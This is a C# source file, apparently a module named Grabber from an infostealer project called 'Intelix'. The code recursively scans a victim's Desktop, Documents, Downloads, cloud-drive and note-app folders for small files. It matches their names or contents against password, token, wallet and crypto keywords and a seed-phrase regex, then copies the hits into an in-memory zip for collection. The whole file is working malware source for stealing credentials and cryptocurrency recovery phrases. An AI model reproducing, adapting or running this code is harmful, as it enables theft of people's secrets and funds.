188 lines
6.0 KiB
C#
188 lines
6.0 KiB
C#
using System;
|
|
using System.Collections.Generic;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Text.RegularExpressions;
|
|
using System.Threading;
|
|
using System.Threading.Tasks;
|
|
using Intelix.Helper;
|
|
using Intelix.Helper.Data;
|
|
|
|
namespace Intelix.Targets.Crypto;
|
|
|
|
public class Grabber : ITarget
|
|
{
|
|
private readonly long _sizeMinFile = 120L;
|
|
|
|
private readonly long _sizeLimitFile = 6144L;
|
|
|
|
private readonly long _sizeLimit = 5242880L;
|
|
|
|
private long _size;
|
|
|
|
private readonly Regex _seedRegex = new Regex("^(?:\\s*\\b[a-z]{3,}\\b){12,24}\\s*$", RegexOptions.IgnoreCase | RegexOptions.Multiline | RegexOptions.Compiled);
|
|
|
|
private readonly string[] _blacklist = new string[10] { "license", "readme", "changelog", "about", "terms", "eula", "notice", "example", "sample", "test" };
|
|
|
|
private readonly string[] _keywords = new string[35]
|
|
{
|
|
"password", "passwd", "pwd", "pass", "login", "user", "username", "account", "mail", "email",
|
|
"secret", "key", "private", "public", "wallet", "mnemonic", "seed", "recovery", "phrase", "backup",
|
|
"pin", "auth", "2fa", "token", "apikey", "api_key", "ssh", "cert", "certificate", "crypto",
|
|
"btc", "eth", "usdt", "ltc", "xmr"
|
|
};
|
|
|
|
private readonly string[] _seedExtensions = new string[9] { ".seed", ".seedphrase", ".mnemonic", ".phrase", ".key", ".secret", ".txt", ".backup", ".wallet" };
|
|
|
|
private readonly string[] _seedPaths = new string[19]
|
|
{
|
|
Environment.GetFolderPath(Environment.SpecialFolder.Personal),
|
|
Environment.GetFolderPath(Environment.SpecialFolder.Desktop),
|
|
Environment.GetFolderPath(Environment.SpecialFolder.Personal),
|
|
Environment.GetFolderPath(Environment.SpecialFolder.CommonDocuments),
|
|
Environment.GetFolderPath(Environment.SpecialFolder.CommonDesktopDirectory),
|
|
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Downloads",
|
|
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\OneDrive",
|
|
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Dropbox",
|
|
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\iCloudDrive",
|
|
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Google Drive",
|
|
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\YandexDisk",
|
|
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Mega",
|
|
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Evernote",
|
|
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Standard Notes",
|
|
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Joplin",
|
|
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Wallets",
|
|
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Keys",
|
|
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Crypto",
|
|
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Backup"
|
|
};
|
|
|
|
private long Size
|
|
{
|
|
get
|
|
{
|
|
return Interlocked.Read(ref _size);
|
|
}
|
|
set
|
|
{
|
|
Interlocked.Exchange(ref _size, value);
|
|
}
|
|
}
|
|
|
|
public void Collect(InMemoryZip zip, Counter counter)
|
|
{
|
|
Parallel.ForEach(_seedPaths, delegate(string directory)
|
|
{
|
|
SearchFiles(zip, counter, directory);
|
|
});
|
|
}
|
|
|
|
private void SearchFiles(InMemoryZip zip, Counter counter, string directory)
|
|
{
|
|
if (Size > _sizeLimit)
|
|
{
|
|
return;
|
|
}
|
|
try
|
|
{
|
|
Parallel.ForEach(Directory.GetDirectories(directory), delegate(string subDir)
|
|
{
|
|
if (Size <= _sizeLimit)
|
|
{
|
|
SearchFiles(zip, counter, subDir);
|
|
}
|
|
});
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
try
|
|
{
|
|
Parallel.ForEach(Directory.GetFiles(directory), delegate(string file)
|
|
{
|
|
if (Size <= _sizeLimit)
|
|
{
|
|
FileInfo fileInfo = new FileInfo(file);
|
|
if (_seedExtensions.Contains(fileInfo.Extension, StringComparer.OrdinalIgnoreCase) && fileInfo.Length < _sizeLimitFile && fileInfo.Length > _sizeMinFile)
|
|
{
|
|
string text = File.ReadAllText(fileInfo.FullName);
|
|
if (ContainsKeyword(fileInfo.Name) || ContainsKeyword(text) || ContainsSeedPhrase(text))
|
|
{
|
|
Size += fileInfo.Length;
|
|
string fileName = fileInfo.Name + RandomStrings.GenerateHashTag() + fileInfo.Extension;
|
|
string relativePath = GetRelativePath(fileInfo.FullName);
|
|
string text2 = Path.Combine("FileGrabber", relativePath, fileName).Replace('\\', '/');
|
|
zip.AddTextFile(text2, text);
|
|
counter.FilesGrabber.Add(file + " => " + text2);
|
|
}
|
|
}
|
|
}
|
|
});
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private bool ContainsSeedPhrase(string content)
|
|
{
|
|
return _seedRegex.IsMatch(content);
|
|
}
|
|
|
|
private string GetRelativePath(string fullPath)
|
|
{
|
|
try
|
|
{
|
|
string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
|
|
string documents = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
|
|
|
|
if (fullPath.StartsWith(desktop, StringComparison.OrdinalIgnoreCase))
|
|
{
|
|
return "desktop";
|
|
}
|
|
if (fullPath.StartsWith(documents, StringComparison.OrdinalIgnoreCase))
|
|
{
|
|
return "Documents";
|
|
}
|
|
return "other";
|
|
}
|
|
catch
|
|
{
|
|
return "other";
|
|
}
|
|
}
|
|
|
|
private bool ContainsKeyword(string content)
|
|
{
|
|
if (string.IsNullOrEmpty(content))
|
|
{
|
|
return false;
|
|
}
|
|
string[] source = content.Split(new char[14]
|
|
{
|
|
' ', '\t', '\r', '\n', ',', '.', ';', ':', '-', '_',
|
|
'/', '\\', '"', '\''
|
|
}, StringSplitOptions.RemoveEmptyEntries);
|
|
HashSet<string> whitelist = new HashSet<string>(_keywords, StringComparer.OrdinalIgnoreCase);
|
|
HashSet<string> blacklist = new HashSet<string>(_blacklist, StringComparer.OrdinalIgnoreCase);
|
|
int result = 0;
|
|
Parallel.ForEach(source, delegate(string word, ParallelLoopState state)
|
|
{
|
|
if (Volatile.Read(ref result) == -1)
|
|
{
|
|
state.Stop();
|
|
}
|
|
else if (blacklist.Contains(word))
|
|
{
|
|
Interlocked.Exchange(ref result, -1);
|
|
state.Stop();
|
|
}
|
|
else if (whitelist.Contains(word))
|
|
{
|
|
Interlocked.CompareExchange(ref result, 1, 0);
|
|
}
|
|
});
|
|
return result == 1;
|
|
}
|
|
}
|